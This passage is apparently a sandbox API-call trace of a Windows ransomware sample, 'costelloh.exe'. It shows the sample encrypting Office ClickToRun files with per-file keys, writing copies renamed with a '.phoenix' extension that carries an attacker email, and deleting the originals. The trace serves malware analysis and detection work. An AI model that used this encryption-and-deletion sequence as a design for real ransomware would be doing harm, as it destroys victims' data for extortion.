	[0079.648] WriteFile (in: hFile=0x320, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x34cf788, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf788*=0xc0112, lpOverlapped=0x0) returned 1
	[0079.670] SetEndOfFile (hFile=0x320) returned 1
	[0079.670] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x34e9a8, lpNewFilePointer=0x0, dwMoveMethod=0x34cf748 | out: lpNewFilePointer=0x0) returned 1
	[0079.670] WriteFile (in: hFile=0x320, lpBuffer=0x3af214a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x34cf754, lpOverlapped=0x0 | out: lpBuffer=0x3af214a*, lpNumberOfBytesWritten=0x34cf754*=0x40000, lpOverlapped=0x0) returned 1
	[0079.672] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x12f88d, lpNewFilePointer=0x0, dwMoveMethod=0x34cf748 | out: lpNewFilePointer=0x0) returned 1
	[0079.672] WriteFile (in: hFile=0x320, lpBuffer=0x3af214a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x34cf754, lpOverlapped=0x0 | out: lpBuffer=0x3af214a*, lpNumberOfBytesWritten=0x34cf754*=0x40000, lpOverlapped=0x0) returned 1
	[0079.674] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf748 | out: lpNewFilePointer=0x0) returned 1
	[0079.674] WriteFile (in: hFile=0x320, lpBuffer=0x3af214a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x34cf754, lpOverlapped=0x0 | out: lpBuffer=0x3af214a*, lpNumberOfBytesWritten=0x34cf754*=0x40000, lpOverlapped=0x0) returned 1
	[0079.676] CloseHandle (hObject=0x320) returned 1
	[0080.265] SetEvent (hEvent=0x2e4) returned 1
	[0080.265] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x34cf830 | out: pbBuffer=0x34cf830) returned 1
	[0080.265] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\stream.x86.en-us.man.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0080.266] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x34cf7d0 | out: lpFileSize=0x34cf7d0*=1083027) returned 1
	[0080.266] CloseHandle (hObject=0x320) returned 1
	[0080.266] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\stream.x86.en-us.man.dat")) returned 0x20
	[0080.266] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.man.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\stream.x86.en-us.man.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0080.266] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\stream.x86.en-us.man.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0080.266] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0080.266] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0080.266] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.man.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\stream.x86.en-us.man.dat.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x24c
	[0081.257] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf728, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf784 | out: phKey=0x34cf784*=0xbaa688) returned 1
	[0081.257] CryptSetKeyParam (hKey=0xbaa688, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0081.257] ReadFile (in: hFile=0x320, lpBuffer=0x3a32020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x34cf7ac, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesRead=0x34cf7ac*=0x108693, lpOverlapped=0x0) returned 1
	[0081.649] CryptEncrypt (in: hKey=0xbaa688, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x1086a0, dwBufLen=0x1086a0 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x1086a0) returned 1
	[0081.650] WriteFile (in: hFile=0x24c, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0x1086a0, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0x1086a0, lpOverlapped=0x0) returned 1
	[0081.667] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf71c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf788 | out: phKey=0x34cf788*=0xbaa208) returned 1
	[0081.667] CryptSetKeyParam (hKey=0xbaa208, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0081.667] CryptEncrypt (in: hKey=0xbaa208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x60, dwBufLen=0x60 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x60) returned 1
	[0081.667] CryptDestroyKey (hKey=0xbaa208) returned 1
	[0081.667] WriteFile (in: hFile=0x24c, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0x112, lpOverlapped=0x0) returned 1
	[0081.668] CryptDestroyKey (hKey=0xbaa688) returned 1
	[0081.668] CloseHandle (hObject=0x320) returned 1
	[0081.668] CloseHandle (hObject=0x24c) returned 1
	[0081.687] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\stream.x86.en-us.man.dat")) returned 1
	[0081.688] SetEvent (hEvent=0x2e4) returned 1
	[0081.689] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x34cf830 | out: pbBuffer=0x34cf830) returned 1
	[0081.689] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\masterdescriptor.x-none.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x24c
	[0081.689] GetFileSizeEx (in: hFile=0x24c, lpFileSize=0x34cf7d0 | out: lpFileSize=0x34cf7d0*=23345) returned 1
	[0081.690] CloseHandle (hObject=0x24c) returned 1
	[0081.690] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\masterdescriptor.x-none.xml")) returned 0x20
	[0081.690] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\MasterDescriptor.x-none.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\masterdescriptor.x-none.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0081.690] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\masterdescriptor.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x24c
	[0081.690] SetFilePointerEx (in: hFile=0x24c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0081.690] SetFilePointerEx (in: hFile=0x24c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0081.690] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\MasterDescriptor.x-none.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\masterdescriptor.x-none.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0081.690] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf728, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf784 | out: phKey=0x34cf784*=0xbaa208) returned 1
	[0081.690] CryptSetKeyParam (hKey=0xbaa208, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0081.690] ReadFile (in: hFile=0x24c, lpBuffer=0x3a32020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x34cf7ac, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesRead=0x34cf7ac*=0x5b31, lpOverlapped=0x0) returned 1
	[0086.813] CryptEncrypt (in: hKey=0xbaa208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x5b40, dwBufLen=0x5b40 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x5b40) returned 1
	[0086.813] WriteFile (in: hFile=0x320, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0x5b40, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0x5b40, lpOverlapped=0x0) returned 1
	[0086.814] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf71c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf788 | out: phKey=0x34cf788*=0xbaa388) returned 1
	[0086.814] CryptSetKeyParam (hKey=0xbaa388, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0086.814] CryptEncrypt (in: hKey=0xbaa388, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x60, dwBufLen=0x60 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x60) returned 1
	[0086.814] CryptDestroyKey (hKey=0xbaa388) returned 1
	[0086.814] WriteFile (in: hFile=0x320, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0x112, lpOverlapped=0x0) returned 1
	[0086.814] CryptDestroyKey (hKey=0xbaa208) returned 1
	[0086.815] CloseHandle (hObject=0x24c) returned 1
	[0086.815] CloseHandle (hObject=0x320) returned 1
	[0086.816] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\masterdescriptor.x-none.xml")) returned 1
	[0086.817] SetEvent (hEvent=0x2e4) returned 1
	[0086.817] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x34cf830 | out: pbBuffer=0x34cf830) returned 1
	[0086.817] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\stream.x86.x-none.man.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0086.862] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x34cf7d0 | out: lpFileSize=0x34cf7d0*=4590407) returned 1
	[0086.862] CloseHandle (hObject=0x320) returned 1
	[0086.862] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\stream.x86.x-none.man.dat")) returned 0x20
	[0086.862] MoveFileW (lpExistingFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\stream.x86.x-none.man.dat"), lpNewFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.man.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\stream.x86.x-none.man.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 1
	[0086.862] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.man.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\stream.x86.x-none.man.dat.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0086.863] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf740 | out: lpNewFilePointer=0x0) returned 1
	[0086.863] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf740 | out: lpNewFilePointer=0x0) returned 1
	[0086.863] ReadFile (hFile=0x320, lpBuffer=0x3a32058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x34cf74c, lpOverlapped=0x0) 

Thread:
	id = 39
	os_tid = 0xeb0


Thread:
	id = 40
	os_tid = 0x4f0


Process:
	id = "2"
	image_name = "costelloh.exe"
	filename = "c:\\users\\fd1hvy\\desktop\\costelloh.exe"
	page_root = "0x100bb000"
	os_pid = "0x8f4"
	os_integrity_level = "0x2000"
	os_privileges = "0x40800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0x39c"
	cmd_line = "\"C:\\Users\\FD1HVy\\Desktop\\costelloh.exe\""
	cur_dir = "C:\\WINDOWS\\system32\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 5
	os_tid = 0x260

	[0051.389] GetStartupInfoW (in: lpStartupInfo=0x95fe10 | out: lpStartupInfo=0x95fe10*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\FD1HVy\\Desktop\\costelloh.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) 
	[0051.389] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0051.389] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0xa10000
	[0051.395] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000
	[0051.395] GetProcAddress (hModule=0x75e90000, lpProcName="FlsAlloc") returned 0x75ea4ae0
	[0051.395] GetProcAddress (hModule=0x75e90000, lpProcName="FlsGetValue") returned 0x75ea4b20
	[0051.396] GetProcAddress (hModule=0x75e90000, lpProcName="FlsSetValue") returned 0x75ea4b40
	[0051.396] GetProcAddress (hModule=0x75e90000, lpProcName="FlsFree") returned 0x75ea4b00
	[0051.397] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x214) returned 0xa105a8
	[0051.397] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000
	[0051.397] GetCurrentThreadId () returned 0x260
	[0051.397] GetStartupInfoW (in: lpStartupInfo=0x95fdac | out: lpStartupInfo=0x95fdac*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\FD1HVy\\Desktop\\costelloh.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x12171aa, hStdOutput=0x12174e3, hStdError=0xa105a8)) 
	[0051.397] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x800) returned 0xa107c8
	[0051.397] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0
	[0051.397] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0
	[0051.397] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0
	[0051.398] SetHandleCount (uNumber=0x20) returned 0x20
	[0051.398] GetCommandLineA () returned="\"C:\\Users\\FD1HVy\\Desktop\\costelloh.exe\""
	[0051.398] GetEnvironmentStringsW () returned 0x24f30*
	[0051.398] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1379, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1379
	[0051.398] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x563) returned 0xa10fd0
	[0051.398] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1379, lpMultiByteStr=0xa10fd0, cbMultiByte=1379, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1379
	[0051.398] FreeEnvironmentStringsW (penv=0x24f30) returned 1
	[0051.398] GetLastError () returned 0x0
	[0051.398] SetLastError (dwErrCode=0x0) 
	[0051.398] GetLastError () returned 0x0
	[0051.398] SetLastError (dwErrCode=0x0) 
	[0051.398] GetLastError () returned 0x0
	[0051.398] SetLastError (dwErrCode=0x0) 
	[0051.398] GetACP () returned 0x4e4
	[0051.399] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x220) returned 0xa11540
	[0051.399] GetLastError () returned 0x0
	[0051.399] SetLastError (dwErrCode=0x0) 
	[0051.399] IsValidCodePage (CodePage=0x4e4) returned 1
	[0051.399] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x95fd74 | out: lpCPInfo=0x95fd74) returned 1
	[0051.399] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x95f840 | out: lpCPInfo=0x95f840) returned 1
	[0051.399] GetLastError () returned 0x0
	[0051.399] SetLastError (dwErrCode=0x0) 
	[0051.399] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x95fc54, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
	[0051.399] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x95fc54, cbMultiByte=256, lpWideCharStr=0x95f5b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256
	[0051.399] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x95f854 | out: lpCharType=0x95f854) returned 1
	[0051.399] GetLastError () returned 0x0
	[0051.399] SetLastError (dwErrCode=0x0) 
	[0051.399] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x95fc54, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
	[0051.399] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x95fc54, cbMultiByte=256, lpWideCharStr=0x95f588, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ郵椖骫ġĀ") returned 256
	[0051.399] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ郵椖骫ġĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256
	[0051.399] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ郵椖骫ġĀ", cchSrc=256, lpDestStr=0x95f378, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 